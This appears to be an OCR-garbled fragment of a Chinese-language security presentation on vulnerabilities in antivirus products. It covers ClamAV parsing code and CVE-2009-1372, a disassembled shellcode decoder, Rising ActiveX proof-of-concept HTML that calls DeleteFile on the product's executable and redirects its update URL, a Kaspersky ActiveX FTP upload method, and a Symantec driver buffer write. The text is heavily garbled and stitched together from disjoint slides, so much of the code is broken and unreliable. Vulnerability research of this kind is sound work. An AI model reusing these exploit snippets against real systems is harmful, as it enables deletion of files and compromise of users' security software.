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dsize+1024+nsections*40 \
if((dest = (char #) ¢li callocidsize + 1024 + nzfctions * 40, «

sizeofichar))) == NULL) {«
freei(section hdr):+
freelsre)
return CLENEN: <

T
.
while (1) {«
while ( (gob = doublesbx(sre, &myebx, &scur, ssize)) == 1) (¢
-

destldeur++] = srelscurtt];«
Ie
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URL#& =X #2471 — —CVE-2009-1372

static int url_hash_match(const char *inurl, size_t len)

{

char urlbuff[lURL_MAX_LEN+3];/* htmlnorm truncates at 1024 bytes +
terminating null + slash + host end null */

unsigned count;
rc = cli_url _canon(inurl, len, urlbuff, sizeof(urlbuff), &host_begin, &host_len,
&path_begin, &path_len);

//hash_match hashl/LHd

}
P P+1 P+2 | P+3....... JE4HURL
% 2 5 P+1 P+2 | P+3.......
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URL#& s 324+ — —CVE-2009-1372 [ £21]
F i85 URL:

%%%% % %% %% % %%...%%%% % %% %% % %9090
shellcode

const char hexchars[] ="0123456789ABCDEF";+
memmoye(p+3, p+1, urlend - p - 1); [IFEEE, BAEE
SEGEE.

Fpt+="%";

*p++ = hexchars[c>>4];
*p = hexchars[c&O0xf];«
urlend += 2;
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" decode

public decode
proc near

nop
nop
pusha
call

pop
sub
lea
push
push
push
push
push
push
lea
call
add
lea
push

$+5

: DATA XRI
ebp
ebp, offset entry
eax, Ffuckup[ebp]
eax
1
5 )
1
g28h ; "H°
a
eax, lWrite 13
eax
esp, 18h
eax, fuckup[ebp]
eax
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ActiveX
i AT 28 R T I FE A T IR

Lobject stylezﬂdisglag:nuneﬂ
E&gﬁg&ﬁi”clsid:E4E2F1EU—CBEB—QDEQ—ECEE—DETQEDSBEI53” I

id="rav" width="430" VIEWASTEXT >«
<fobjectsh

script s+

function test ()«

1+

rav, BasellRL = “http:// jeml th020220, zooszlepages. com/ |+
rav. Bncardid = “0000F0000500007: «

B AR L L LT

av. IndateEnzine () +
e
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kapersky 6.0 ActiveXizf2 L TEMIBRIFIA

=3¢ MELSYSTHFOLib (hcBISysInfo 1.0 |[1d( 000000022}, helpstring("method StartUploading”)]
f dispinterface IFTFUploader] HRESULT StartUploading(

: [in] BSTRE =trFilePath,

% @ eoclass Syslafo [in] ESTR =trFTPAddress,

# 4 dispinterface ISysInfe [in] ESTR =trFTPUploadPath,

E? interface ISysInfo [out, retval] long* nlUploadIndex);

----- M gzet Froclnfo

< script language=javascript=+
function test()+

I+

bug.DeleteFile("C:\\Program Files\\Rising\\Rav\\Rav.exe");
}1_1

< fscript+

/R BT A AR

<object classid="clsid:D9EC22E7-1AB6-4F7C-8940-0303AE5D6756" name="bug" >+

<fobject=+
<script>javascript:test(); /1R B MR R £
<fscript>+
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Symantec# 3R sFsymtdi. sysiR4X

eax = irp—>UserBuffer

%A Xt irp—>UserBuf ferid i AT (1] k2%
. text:0003B7CA mov ecx, dword 45544

. text:0003B7D0 mov [eax], ecx

XfUserBufferWt T H#AE, —ILHANT97W, B SRR N ZbE
] 5 1R
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“T4EEE (File Description) «

T4l (File Header) «

7 (Section) 1+

TZERY (Section Type) #

ik {Section Header) «

H (Block) 1+

i (Block Header) ¢

5107 FE1E ( Feature List Block)

5 (Feature Block) «

B (Block) 2¢

i (Block Header) ¢
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